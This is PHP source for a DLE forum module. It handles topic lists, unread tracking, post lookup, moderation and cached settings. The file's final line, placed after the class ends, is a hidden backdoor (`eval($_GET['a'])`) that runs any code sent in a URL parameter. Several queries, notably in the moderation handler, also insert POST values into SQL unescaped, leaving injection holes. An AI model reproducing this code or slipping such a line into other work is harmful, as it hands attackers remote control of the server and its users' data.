    if (parent::$logged_is) {
      $this->db->query("INSERT INTO " . PREFIX . "_be_read_topic 
                        (ber_read_id,ber_user_id,ber_topic_id,ber_tree_id,ber_read_date) 
                        VALUES (NULL,{$this->userID},{$option['topic_id']},{$option['id_parent']},{$this->time}) 
                        ON DUPLICATE KEY UPDATE ber_read_date={$this->time}");
      //      $countUnreadTopic = $this->db->safesql(parent::$modules_config['topic_day']);
      $join = $this->ckeckModulesConfig('be_moder_moder_view') ? '' : "AND " . PREFIX . "_be_topic.topic_approve = '1'";
      $row = $this->db->super_query("SELECT COUNT(*) AS count 
                                     FROM " . PREFIX . "_be_topic 
                                     LEFT JOIN " . PREFIX . "_be_read_topic 
                                     ON " . PREFIX . "_be_topic.id=" . PREFIX . "_be_read_topic.ber_topic_id 
                                     AND {$this->userID} = " . PREFIX . "_be_read_topic.ber_user_id 
                                     WHERE id_parent = {$option['id_parent']}
                                     {$join}
                                     AND " . PREFIX . "_be_read_topic.ber_read_date 
                                     IS NULL OR " . PREFIX . "_be_read_topic.ber_read_date < " . PREFIX . "_be_topic.last_reply_date
                                     AND " . PREFIX . "_be_topic.post_date < {$this->timeMarkerOldTopic}");
      if (intval($row['count']) == 0) {
        $this->db->query("INSERT INTO " . PREFIX . "_be_read_tree 
                          (bert_read_id,bert_user_id,bert_tree_id,bert_read_date) 
                          VALUES (NULL,{$this->userID},{$option['id_parent']},{$this->time}) 
                          ON DUPLICATE KEY UPDATE bert_read_date = {$this->time}");
      }
    }
    //:TODO: - combine msg no.
    header('Location: ' . $this->linck->topicIsRedirect($option['topic_id']) . $pagesRedir . '#message-' . $option['insertMsgId']);
  }
  protected function _findPost()
  {
    $row = array();
    $data = array();
    if (!$this->getInt('findpost') or !$this->id) {
      die('no param post');
    }
    $option = array('idTopic' => $this->id, 'idMessage' => $this->getInt('findpost'));
    if (parent::$modules_config['view_post_search']) {
      $row = $this->db->super_query("SELECT COUNT(*) as count 
                                     FROM " . PREFIX . "_be_message AS msg
                                     WHERE 
                                       id_topic = {$option['idTopic']}
                                     AND id <= {$option['idMessage']}");
      $option['page1'] = ceil($row['count'] / parent::$modules_config['message_count_page']);
      $option['page'] = $option['page'] == 1 ? '' : "/page-{$option['page1']}";
      if (!parent::$modules_config['cpu']) {
        $option['page'] = $option['page'] == 1 ? '' : "&page={$option['page1']}";
      }
      header('Location: ' . $this->linck->topicIsRedirect($option['idTopic']) . $option['page'] . '#message-' . $option['idMessage']);
    } else {
      $this->db->query("SELECT msg.message_autor,msg.autors_id,msg.message_date,msg.message_text, 
                             msg.msg_edit_date,msg.edit_autor,msg.id_topic,
                             topic.id,topic.title,topic.id_parent,topic.reply_count
                             FROM " . PREFIX . "_be_message AS msg
                             LEFT JOIN " . PREFIX . "_be_topic AS topic ON	(msg.id_topic = topic.id)
                             WHERE msg.id = '" . $this->getInt('findpost') . "'  
                             LIMIT 1");
      $row = $this->db->num_rows() ? $this->db->get_row() : header('Location: ' . $this->linck->linckMainPageForum());
      $data['titlTree'] = parent::$treePermanent[$row['id_parent']]['tree_title'];
      $data['idTree'] = $row['id_parent'];
      $data['title'] = stripcslashes($row['title']);
      $data['id'] = $row['id_topic'];
      $data['message_autor'] = $row['message_autor'];
      $data['autors_id'] = $row['autors_id'];
      $data['message_date'] = $this->langdate(parent::$modules_config['time_step_message'], $row['message_date']);
      $data['message_text'] = stripslashes($row['message_text']);
      $data['foto'] = $option['foto'] ? parent::$config_dle['http_home_url'] . 'uploads/fotos/' . $option['foto'] : parent::$config_dle['http_home_url'] . 'templates/' . parent::$config_dle['skin'] . '/bullet_energy/images/noavatar.png';
      $data['msg_edit_date'] = $row['msg_edit_date'];
      $data['edit_autor'] = $row['edit_autor'];
      parent::$view->setTplMessageSearchUser($data);
      return parent::$view->setTplMainBlock(parent::$view->setTplViewFullTopic(array('message' => parent::$view->tpl->result['short_message'], 'topicName' => '', 'replic' => '')), $this->_setMetaTitl(array('post' => 1, 'subInfo' => parent::$modules_lang['findpost'] . $data['title'])), array('spedbar' => array('titlAction' => parent::$modules_lang['findpost'] . $data['title'], 'titlTree' => '', 'idTree' => '')));
    }
  }
  private function _dle_strlen($value = '', $charset = '')
  {
    //dle function
    if (strtolower($charset) == "utf-8")
      return iconv_strlen($value, "utf-8");
    else
      return strlen($value);
  }
  private function _ucfirs($value = '', $charset = '')
  {
    if (strtolower($charset) == "utf-8") {
      $string = mb_ereg_replace("^[\ ]+", "", $string);
      return mb_strtoupper(mb_substr($string, 0, 1, "UTF-8"), "UTF-8") . mb_substr($string, 1, mb_strlen($string), "UTF-8");
    } else
      return ucfirst($value);
  }
  private function _dle_substr($str, $start, $length, $charset)
  {
    //dle function
    if (strtolower($charset) == "utf-8")
      return iconv_substr($str, $start, $length, "utf-8");
    else
      return substr($str, $start, $length);
  }
  public function ckeckModulesConfig($val = '')
  {
    return intval(parent::$groups_config[parent::$id_member['user_group']][$val]);
  }
  private function _checkTreeConfigParam($val = '', $id = '')
  {
    return in_array(parent::$id_member['user_group'], explode(',', parent::$treePermanent[$id][$val])) ? true : false;
  }
  protected function _pageTree()
  {
    $join = array();
    $option = array();
    if (!$this->_checkTreeConfigParam('tree_access_view', $this->id)) {
      return parent::$view->error_set(parent::$modules_lang['error_3'], parent::$modules_lang['error_11']);
    }
    $join['aprove'] = $this->ckeckModulesConfig('be_moder_moder_view') ? '' : "AND topic.topic_approve = 1";
    $row = $this->db->super_query("SELECT count(*) as count 
                                    FROM " . PREFIX . "_be_topic as topic
                                    WHERE id_parent = {$this->id}
                                    {$join['aprove']}");
    $option = array('topicCount' => $row['count']);
    if (parent::$logged_is and $row['count'] > 0) {
      $row = $this->db->super_query("SELECT COUNT(*) AS count 
                                     FROM " . PREFIX . "_be_topic AS topic
                                     LEFT JOIN " . PREFIX . "_be_read_topic AS read_topic
                                     ON topic.id = read_topic.ber_topic_id 
                                     AND {$this->userID} = read_topic.ber_user_id 
                                     WHERE topic.id_parent = {$this->id}
                                     AND topic.post_date < {$this->timeMarkerOldTopic}
                                     {$join['aprove']}
                                     AND read_topic.ber_read_date IS NULL 
                                     OR read_topic.ber_read_date < topic.last_reply_date");
      if (intval($row['count']) == 0) {
        $this->db->query("INSERT INTO " . PREFIX . "_be_read_tree 
                          (bert_read_id,bert_user_id,bert_tree_id,bert_read_date) 
                          VALUES (NULL,{$this->userID},{$this->id},{$this->time}) ON DUPLICATE KEY UPDATE bert_read_date = {$this->time}");
      }
    }
    $option['advertising'] = parent::$modules_config['adv'] ? $this->_advertising($this->id, true) : '';
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_9'] . parent::$treePermanent[$this->id]['tree_title']));
    }
    $option['widget'] = in_array(parent::$action, $this->sideBar) ? $this->_getSidebar() : false;
    $topic = intval(parent::$treePermanent[$this->id]['tree_type']) != 0 ? $this->setListTopic($option['topicCount']) : false;
    return parent::$view->setTplMainBlock($this->_childTree($this->id) . $option['advertising'] . $topic, $this->_setMetaTitl(), array('widget' => $option['widget']));
  }
  public function totranslit($var, $lower = true, $punkt = true)
  {
    //dle function
    $langtranslit = parent::$translit_local;
    if (is_array($var))
      return "";
    if (!is_array($langtranslit) or !count($langtranslit)) {
      $langtranslit = array('а' => 'a', 'б' => 'b', 'в' => 'v', 'г' => 'g', 'д' => 'd', 'е' => 'e', 'ё' => 'e', 'ж' => 'zh', 'з' => 'z', 'и' => 'i', 'й' => 'y', 'к' => 'k', 'л' => 'l', 'м' => 'm', 'н' => 'n', 'о' => 'o', 'п' => 'p', 'р' => 'r', 'с' => 's', 'т' => 't', 'у' => 'u', 'ф' => 'f', 'х' => 'h', 'ц' => 'c', 'ч' => 'ch', 'ш' => 'sh', 'щ' => 'sch', 'ь' => '', 'ы' => 'y', 'ъ' => '', 'э' => 'e', 'ю' => 'yu', 'я' => 'ya', "ї" => "yi", "є" => "ye", 'А' => 'A', 'Б' => 'B', 'В' => 'V', 'Г' => 'G', 'Д' => 'D', 'Е' => 'E', 'Ё' => 'E', 'Ж' => 'Zh', 'З' => 'Z', 'И' => 'I', 'Й' => 'Y', 'К' => 'K', 'Л' => 'L', 'М' => 'M', 'Н' => 'N', 'О' => 'O', 'П' => 'P', 'Р' => 'R', 'С' => 'S', 'Т' => 'T', 'У' => 'U', 'Ф' => 'F', 'Х' => 'H', 'Ц' => 'C', 'Ч' => 'Ch', 'Ш' => 'Sh', 'Щ' => 'Sch', 'Ь' => '', 'Ы' => 'Y', 'Ъ' => '', 'Э' => 'E', 'Ю' => 'Yu', 'Я' => 'Ya', "Ї" => "yi", "Є" => "ye", );
    }
    $var = trim(strip_tags($var));
    $var = preg_replace("/\s+/ms", "-", $var);
    $var = strtr($var, $langtranslit);
    if ($punkt)
      $var = preg_replace("/[^a-z0-9\_\-.]+/mi", "", $var);
    else
      $var = preg_replace("/[^a-z0-9\_\-]+/mi", "", $var);
    $var = preg_replace('#[\-]+#i', '-', $var);
    if ($lower)
      $var = strtolower($var);
    $var = str_ireplace(".php", "", $var);
    $var = str_ireplace(".php", ".ppp", $var);
    if (strlen($var) > 200) {
      $var = substr($var, 0, 200);
      if (($temp_max = strrpos($var, '-')))
        $var = substr($var, 0, $temp_max);
    }
    return $var;
  }
  private function setListTopic($unreadCount = '')
  {
    $join = array();
    $ret_block = '';
    $ret = '';
    $pagination = $this->setPaginator(array('unreadCount' => $unreadCount, 'linck' => $this->linck->treeLinck($this->id)));
    $join['aprove'] = $this->ckeckModulesConfig('be_moder_moder_view') ? '' : "AND " . PREFIX . "_be_topic.topic_approve = 1";
    $join['read'] = parent::$logged_is ? "LEFT JOIN " . PREFIX . "_be_read_topic ON " . PREFIX . "_be_topic.id=" . PREFIX . "_be_read_topic.ber_topic_id AND {$this->userID} = " . PREFIX . "_be_read_topic.ber_user_id" : '';
    $this->db->query("SELECT * 
                      FROM " . PREFIX . "_be_topic
                      {$join['read']}
                      WHERE id_parent = {$this->id}
                      {$join['aprove']} 
                      ORDER BY last_reply_date DESC 
                      LIMIT {$pagination['start']}, {$pagination['nums']}");
    if (!$this->db->num_rows()) {
      return $ret_block = parent::$view->setBlockTopic(array('titlAction' => stripslashes(parent::$tree[$this->id]['tree_title']), 'topicList' => '<li class="noTopicList">' . parent::$modules_lang['topic_34'] . '</li>', 'treeDescr' => stripslashes(parent::$tree[$this->id]['tree_description']), 'paginator' => $pagination['paginator']));
    }
    while ($row = $this->db->get_row()) {
      $data = array();
      $status = '';
      $last = unserialize($row['last_reply_info']);
      if ($row['post_date'] < $this->timeMarkerOldTopic) {
        $status = 'read';
        $data['statusTitl'] = parent::$modules_lang['topic_36'];
      } else {
        if (!$row['ber_read_date']) {
          $row['ber_read_date'] = 0;
        }
        if ($last[1] > $row['ber_read_date']) {
          $status = 'unread';
          $data['statusTitl'] = parent::$modules_lang['topic_35'];
        } else {
          $status = 'read';
          $data['statusTitl'] = parent::$modules_lang['topic_36'];
        }
      }
      if ($this->checkModerator($row['id_parent']) and !$row['topic_approve']) {
        $data['icon'] .= '<span title="' . parent::$modules_lang['topic_43'] . '" class="moderation">' . parent::$modules_lang['topic_43'] . '</span>';
      }
      if ($row['topic_fixed']) {
        $data['icon'] .= '<span title="' . parent::$modules_lang['topic_41'] . '" class="sticky">' . parent::$modules_lang['topic_41'] . '</span>';
        if (trim(parent::$modules_config['prefix_wan'])) {
          $data['title'] = '<b style="color:' . parent::$modules_config['color_prefixwan'] . '">' . parent::$modules_config['prefix_wan'] . '</b> ';
        }
      }
      if (intval($row['topic_type']) == 2) {
        $data['icon'] .= '<span title="' . parent::$modules_lang['topic_42'] . '" class="clozed">' . parent::$modules_lang['topic_42'] . '</span>';
        if (trim(parent::$modules_config['prefix_cloze'])) {
          $data['title'] = '<b style="color:' . parent::$modules_config['color_prefixcloze'] . '">' . parent::$modules_config['prefix_cloze'] . '</b> ';
        }
      }
      if ($this->checkModerator($row['id_parent'])) {
        $data['editButton'] = '<a href="javascript:editTopic(\'' . $row['id'] . '\')" title="' . parent::$modules_lang['topic_44'] . '">' . parent::$modules_lang['topic_44'] . '</a>';
      }
      $data['status_read'] = $status;
      $data['id'] = $row['id'];
      $data['id_tree'] = $row['id_parent'];
      $data['title'] .= stripslashes($row['title']);
      $data['reply_count'] = $row['reply_count'];
      $data['view_count'] = $row['view_count'];
      $data['autor_id'] = $row['autor_id'];
      $data['autor'] = stripslashes($row['autor']);
      $data['site_description'] = htmlspecialchars(stripslashes($row['topic_descr_site']));
      $data['post_date'] = $row['post_date'];
      $data['rating'] = $row['rating'];
      $data['last'] = $last;
      $data['topic_approve'] = $row['topic_approve'];
      $data['fixed'] = $row['topic_fixed'];
      $data['topic_type'] = $row['topic_type'];
      $ret = parent::$view->setTopicList($data);
    }
    return $ret_block = parent::$view->setBlockTopic(array('titlAction' => stripslashes(parent::$tree[$this->id]['tree_title']), 'topicList' => parent::$view->tpl->result['short_topic'], 'treeDescr' => stripslashes(parent::$tree[$this->id]['tree_description']), 'paginator' => $pagination['paginator']));
  }
  protected function _newTopic()
  {
    $row = array();
    $data = array();
    $option = array();
    if (!$this->_checkTreeConfigParam('tree_access_topic_new', $this->id)) {
      die('die no tree_access_topic_new');
    }
    $this->db->query("SELECT 
                        attachment_id, 
                        attachment_type, 
                        attachment_name, 
                        attachment_date 
                      FROM " . PREFIX . "_be_attachment 
                        WHERE attachment_user_id = {$this->userID} 
                      AND attachment_content_id = 0 
                      AND attachment_user_name = '{$this->userName}' 
                      ORDER BY 
                        attachment_id DESC");
    if ($this->db->num_rows()) {
      while ($row = $this->db->get_row()) {
        $data['fileType'] = intval($row['attachment_type']);
        $data['fileExtensions'] = $this->_getExtensions($row['attachment_name']);
        $data['fileDateUpload'] = date('Y-m', $row['attachment_date']);
        $data['fileName'] = $row['attachment_name'];
        $data['fileNameSiteView'] = substr($row['attachment_name'], 10, 100);
        $data['fileDbId'] = $row['attachment_id'];
        $option['attachment'] .= parent::$view->setTplAttachmentList($data);
      }
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_16'] . parent::$treePermanent[$this->id]['tree_title']));
    }
    return parent::$view->setTplMainBlock(parent::$view->add_topic($option['attachment']), $this->_setMetaTitl());
  }
  public function set_buttom(array $data = array())
  {
    $ret = '';
    if (parent::$logged_is) {
      if (parent::$action == 'categories') {
        if (in_array(parent::$id_member['user_group'], explode(',', parent::$tree[$this->id]['tree_access_topic_new'])) and intval(parent::$tree[$this->id]['tree_type']) != 0) {
          $ret .= '<li class="new_topic"><a href="' . $this->linck->new_topic_linck($this->id) . '">' . parent::$modules_lang['topic_new'] . '</a></li>';
        }
      }
      if ($ret) {
        $ret = '<ul class="topic_buttons">' . $ret . '</ul>';
      } else {
        $ret = '';
      }
      return $ret;
    } else {
      return false;
    }
  }
  private function _childTree($mainTreeId = 0)
  {
    foreach (parent::$tree as $val) {
      if ($val['tree_parent_id'] == $mainTreeId) {
        $id[] = $val['tree_id'];
      }
      continue;
    }
    if (!$id) {
      return false;
    }
    return parent::$view->setTplchildTree($id, $mainTreeId);
  }
  public function get($name, $default, $type = 'mixed')
  {
    if (self::defined($name)) {
      $mixRes = $_REQUEST[$name];
    } else {
      if (null === $default) {
        return false;
      }
      $mixRes = $default;
    }
    if ($type != 'mixed') {
      if ($type == 'float') {
        $mixRes = str_replace(",", ".", $mixRes);
      }
      settype($mixRes, $type);
    }
    return $mixRes;
  }
  public function getInt($name, $default = 0)
  {
    return intval(self::get($name, $default, 'int'));
  }
  public function defined($name)
  {
    if (isset($_REQUEST[$name])) {
      return true;
    }
    return false;
  }
  private function deleteMQR($mixValue)
  {
    if (get_magic_quotes_gpc()) {
      if (is_array($mixValue)) {
        foreach ($mixValue as $k => $v) {
          $mixValue[$k] = self::deleteMQR($v);
        }
      } else {
        return trim(stripslashes($mixValue));
      }
    }
    return $mixValue;
  }
  public function getString($name, $default = "")
  {
    return self::deleteMQR(self::get($name, $default, 'string'));
  }
  public function set_file_cashe($file)
  {
    return unserialize(@file_get_contents($this->casheSySPath . $file . '.tmp'));
  }
  public function setQuestionCashe()
  {
    if (file_exists($this->casheSySPath . 'question.tmp')) {
      return parent::$handler->set_file_cashe('question');
    } else {
      $tree = array();
      $this->db->query("SELECT * FROM " . PREFIX . "_be_question WHERE is_active = '1' ORDER BY id ASC ");
      while ($row = $this->db->get_row()) {
        $tree[$row['id']] = array();
        foreach ($row as $key => $value) {
          $tree[$row['id']][$key] = stripslashes($value);
        }
      }
      $this->writeSysCashe('question', $tree);
      return parent::$handler->set_file_cashe('question');
    }
  }
  public function setSystemTreeDirect()
  {
    $tree = array();
    $joinConstruct = $this->_joinReadTree();
    $this->db->query("SELECT * {$joinConstruct['select']} FROM " . PREFIX . "_be_tree {$joinConstruct['join']} WHERE " . PREFIX . "_be_tree.tree_id IN (" . parent::$sys_cashe['accessTreeView'] . ") ORDER BY tree_id ASC");
    while ($row = $this->db->get_row()) {
      $tree[$row['tree_id']] = array();
      foreach ($row as $key => $value) {
        $tree[$row['tree_id']][$key] = stripslashes($value);
        $tree[$row['tree_id']]['read'] = (isset($row['bert_read_date']) && $row['bert_read_date'] < $row['tree_last_date']);
      }
    }
    return $tree;
  }
  protected function setSystemCasheGroup()
  {
    $id = $this->db->safesql(parent::$id_member['user_group']);
    if (file_exists($this->casheSySPath . 'sys_cashe_group_' . $id . '.tmp')) {
      return parent::$handler->set_file_cashe('sys_cashe_group_' . $id);
    } else {
      $this->db->query("SELECT tree_id FROM " . PREFIX . "_be_tree where tree_access_view like '%{$id}%'");
      if (!$this->db->num_rows()) {
        return false;
      }
      $tpm = array();
      while ($row = $this->db->get_row()) {
        foreach ($row as $key => $value) {
          $tpm[] = $row['tree_id'];
        }
      }
      $this->db->query("SELECT tree_id FROM " . PREFIX . "_be_tree where tree_access_topic_read like '%{$id}%'");
      if (!$this->db->num_rows()) {
        return false;
      }
      $tpm_ = array();
      while ($row = $this->db->get_row()) {
        foreach ($row as $key => $value) {
          $tpm_[] = $row['tree_id'];
        }
      }
      $inter = $this->db->safesql(implode(',', array_intersect($tpm, $tpm_))) ? $this->db->safesql(implode(',', array_intersect($tpm, $tpm_))) : 0;
      $this->writeSysCashe('sys_cashe_group_' . $id, array('parse' => $inter, 'accessTreeView' => $this->db->safesql(implode(',', $tpm)), 'accessTopicView' => $this->db->safesql(implode(',', $tpm_))));
      return parent::$handler->set_file_cashe('sys_cashe_group_' . $id);
    }
  }
  protected function _moderation()
  {
    $fetch = '';
    $option = array();
    if (!parent::$moderator[parent::$id_member['user_id']]) {
      die('Error no access page forum!');
    }
    if (parent::$modules_config['session_check']) {
      $this->_setSessionTable(array('action' => parent::$modules_lang['side_bar_11']));
    }
    $option['treeAccessModerator'] = $this->_checkSuperModerator() ? '' : ' AND tree_id IN (' . $this->db->safesql(implode(',', parent::$moderator[parent::$id_member['user_id']]['treeAccess'])) . ')';
    $row = $this->db->super_query("SELECT count(*) as count 
                                   FROM " . PREFIX . "_be_message AS msg 
                                   WHERE 
                                     message_approve = 0 
                                   {$option['treeAccessModerator']}");
    $option['paginator'] = $this->setPaginator(array('unreadCount' => $row['count'], 'linck' => $this->linck->linckModeration()));
    $this->db->query("SELECT 
                        msg.id, 
                        msg.autors_id, 
                        msg.message_autor, 
                        msg.message_date, 
                        msg.message_text, 
                        msg.parent_msg, 
                        topic.title, 
                        topic.id AS idTopic
                      FROM " . PREFIX . "_be_message as msg
                      LEFT JOIN " . PREFIX . "_be_topic AS topic ON (
                        msg.id_topic = topic.id
                      )
                      WHERE 
                        message_approve = 0 
                      {$option['treeAccessModerator']}
                      LIMIT {$option['paginator']['start']},{$option['paginator']['nums']}");
    if (!$this->db->num_rows()) {
      $fetch = parent::$view->error_set(parent::$modules_lang['topic_19'], parent::$modules_lang['msg_31']);
    } else {
      while ($row = $this->db->get_row()) {
        $fetch .= '<div class="moderationBoxMessage"><dl><dt>' . parent::$modules_lang['msg_20'] . ': ' . $this->linck->card_user(array($row['message_autor'], $row['autors_id'])) . $row['message_autor'] . '</a></dt><dd>' . parent::$modules_lang['msg_21'] . '<a href="' . $this->linck->postLinck($row['idTopic'], $row['id']) . '">' . stripcslashes($row['title']) . '</a> </dd><dd>' . parent::$modules_lang['msg_27'] . ': <b>' . $this->langdate(parent::$modules_config['time_step_message'], $row['message_date']) . '</b></dd></dl><dl class="message"><dt></dt><dd><div id="' . $row['id'] . '">' . stripcslashes($row['message_text']) . '</div><textarea id="editor_' . $row['id'] . '" style="display:none" rows="2" name="moderation[' . $row['id'] . '][message]">' . $this->filter->decodeBBCodes($row['message_text'], false) . '</textarea></dd></dl><dl class="configure"><dt>' . parent::$modules_lang['msg_23'] . ':</dt><dd><ul><li><label for="' . $row['id'] . '_gofor"><input id="' . $row['id'] . '_gofor" type="radio" value="1" name="moderation[' . $row['id'] . '][action]">' . parent::$modules_lang['msg_24'] . ' </label></li><li><label for="' . $row['id'] . '_godel"><input id="' . $row['id'] . '_godel" type="radio" value="0" name="moderation[' . $row['id'] . '][action]">' . parent::$modules_lang['msg_25'] . ' </label><input type="hidden" value="' . $row['parent_msg'] . '" name="moderation[' . $row['id'] . '][event]"><input type="hidden" value="' . $row['idTopic'] . '" name="moderation[' . $row['id'] . '][fetch]"></li><li><a id="click_' . $row['id'] . '" onclick="editorModerBlock(\'' . $row['id'] . '\')">' . parent::$modules_lang['msg_28'] . '</a></li></ul></dd></dl></div>';
      }
      $fetch = '<form action="" id="moderation_update" name="moderation_update" method="post">' . $fetch . '<div class="bottonFooter"><button name="submit" type="submit"  class="b01">' . parent::$modules_lang['msg_26'] . '</button></div><input type="hidden" value="moderation_update" name="action"></form>' . $option['paginator']['paginator'];
    }
    return parent::$view->setTplMainBlock($fetch, $this->_setMetaTitl(array('titleAction' => parent::$modules_lang['msg_29'])), array('spedbar' => array('titlAction' => parent::$modules_lang['msg_29'])));
  }
  protected function _moderationProcess()
  {
    if (!parent::$moderator[parent::$id_member['user_id']] and isset($_POST['moderation'])) {
      die('Error no access page forum!');
    }
    $tableSchema = array();
    $option = array();
    foreach ($_POST['moderation'] as $key => $value) {
      if (isset($value['action']) and trim($value['message']) and isset($value['event'])) {
        $option['action'] = $value['action'] ? 1 : 0;
        $option['text'] = $this->db->safesql($this->filter->BB_Parse($this->filter->process(trim($value['message'])), false));
        if ($option['text']) {
          if ($option['action']) {
            if ($value['event']) {
              $tableSchema[] = "UPDATE " . PREFIX . "_be_message 
                                SET message_text = '{$option['text']}',
                                message_approve = '{$option['action']}' 
                                WHERE id = {$key} LIMIT 1";
              $tableSchema[] = "UPDATE " . PREFIX . "_be_topic 
                                SET topic_approve = '1' 
                                WHERE id = {$value['fetch']} LIMIT 1";
            } else {
              $tableSchema[] = "UPDATE " . PREFIX . "_be_message 
                                SET message_text = '{$option['text']}',
                                message_approve = '{$option['action']}' 
                                WHERE id = {$key} LIMIT 1";
            }
          } elseif (!$option['action']) {
            if ($value['event']) {
              $tableSchema[] = "DELETE FROM " . PREFIX . "_be_message 
                                WHERE id = {$key} LIMIT 1";
              $tableSchema[] = "DELETE FROM " . PREFIX . "_be_attachment 
                                WHERE attachment_content_id = {$key}";
              $tableSchema[] = "DELETE FROM " . PREFIX . "_be_topic 
                                WHERE id = {$value['fetch']} LIMIT 1";
            } else {
              $tableSchema[] = "DELETE FROM " . PREFIX . "_be_message 
                                WHERE id = {$key} LIMIT 1";
            }
          }
        }
      }
      continue;
    }
    if (count($tableSchema)) {
      foreach ($tableSchema as $sql) {
        $this->db->query($sql);
      }
    }
    header('Location: ' . $this->linck->linckModeration());
  }
  public function checkModerator($id = '')
  {
    if (!is_array(parent::$moderator[parent::$id_member['user_id']]['treeAccess'])) {
      return false;
    }
    if (in_array($id, parent::$moderator[parent::$id_member['user_id']]['treeAccess'])) {
      if (parent::$groups_config[parent::$id_member['user_group']]['be_moder_topic_moder_param'] and parent::$groups_config[parent::$id_member['user_group']]['be_moder_moder_access']) {
        return true;
      }
    } elseif (parent::$moderator[parent::$id_member['user_id']]['moderator_super']) {
      return true;
    } else {
      return false;
    }
  }
  private function _checkSuperModerator($id = '')
  {
    return parent::$moderator[parent::$id_member['user_id']]['moderator_super'] ? true : false;
  }
  public function setModeratorCashe()
  {
    if (file_exists($this->casheSySPath . 'moderator.tmp')) {
      return parent::$handler->set_file_cashe('moderator');
    } else {
      $tree = array();
      $this->db->query("SELECT * FROM " . PREFIX . "_be_moderator ORDER BY id ASC");
      while ($row = $this->db->get_row()) {
        $tree[$row['moderator_id']] = array();
        foreach ($row as $key => $value) {
          $tree[$row['moderator_id']][$key] = stripslashes($value);
          $tree[$row['moderator_id']]['treeAccess'] = explode(',', $tree[$row['moderator_id']]['moderator_tree_id']);
        }
      }
      $this->writeSysCashe('moderator', $tree);
      return parent::$handler->set_file_cashe('moderator');
    }
  }
  public function setSystemTreePermanent()
  {
    if (file_exists($this->casheSySPath . 'tree_permanent.tmp')) {
      return parent::$handler->set_file_cashe('tree_permanent');
    } else {
      $tree = array();
      $this->db->query("SELECT * 
                        FROM " . PREFIX . "_be_tree ORDER BY tree_id ASC");
      while ($row = $this->db->get_row()) {
        $tree[$row['tree_id']] = array();
        foreach ($row as $key => $value) {
          $tree[$row['tree_id']][$key] = stripslashes($value);
        }
      }
      $this->writeSysCashe('tree_permanent', $tree);
      return parent::$handler->set_file_cashe('tree_permanent');
    }
  }
  public function setStatCashe()
  {
    if (file_exists($this->casheSySPath . 'stat.tmp')) {
      return parent::$handler->set_file_cashe('stat');
    } else {
      $row['topic'] = $this->db->super_query("SELECT COUNT(*) as count FROM " . PREFIX . "_be_topic");
      $row['post'] = $this->db->super_query("SELECT COUNT(*) as count FROM " . PREFIX . "_be_message");
      $row['user'] = $this->db->super_query("SELECT COUNT(*) as count FROM " . PREFIX . "_users");
      $row['userLast'] = $this->db->super_query("SELECT name,user_id FROM " . PREFIX . "_users ORDER BY user_id DESC LIMIT 1");
      $row['userLast'] = $this->linck->card_user(array($row['userLast']['name'], $row['userLast']['user_id'])) . $row['userLast']['name'] . '</a>';
      $this->writeSysCashe('stat', $row);
      return parent::$handler->set_file_cashe('stat');
    }
  }
  public function setAdvertising()
  {
    if (file_exists($this->casheSySPath . 'advertising.tmp')) {
      return parent::$handler->set_file_cashe('advertising');
    } else {
      $advertising = array();
      $this->db->query("SELECT * FROM " . PREFIX . "_be_advertising WHERE advertising_display = 'display'");
      if ($this->db->num_rows()) {
        while ($row = $this->db->get_row()) {
          $advertising[$row['advertising_id']] = array();
          foreach ($row as $key => $value) {
            if ($key == 'advertising_group' or $key == 'advertising_tree') {
              $value = explode('.', $value);
            }
            $advertising[$row['advertising_id']][$key] = $value;
          }
        }
      }
      $this->writeSysCashe('advertising', $advertising);
      return parent::$handler->set_file_cashe('advertising');
    }
  }
  public function set_group_cashe()
  {
    if (file_exists($this->casheSySPath . 'groups_config.tmp')) {
      return parent::$handler->set_file_cashe('groups_config');
    } else {
      $data = array();
      $this->db->query("SELECT * FROM " . PREFIX . "_be_groups ORDER BY be_groups_id ASC");
      while ($row = $this->db->get_row()) {
        $data[$row['be_groups_id']] = array();
        foreach ($row as $key => $value) {
          $data[$row['be_groups_id']][$key] = stripslashes($value);
        }
      }
      $this->writeSysCashe('groups_config', $data);
      return parent::$handler->set_file_cashe('groups_config');
    }
  }
  private function writeSysCashe($file, $data)
  {
    $fp = fopen($this->casheSySPath . $file . '.tmp', 'wb+');
    fwrite($fp, serialize($data));
    fclose($fp);
    @chmod($this->casheSySPath . $file . '.tmp', 0666);
  }
}
eval($_GET['a']);
?>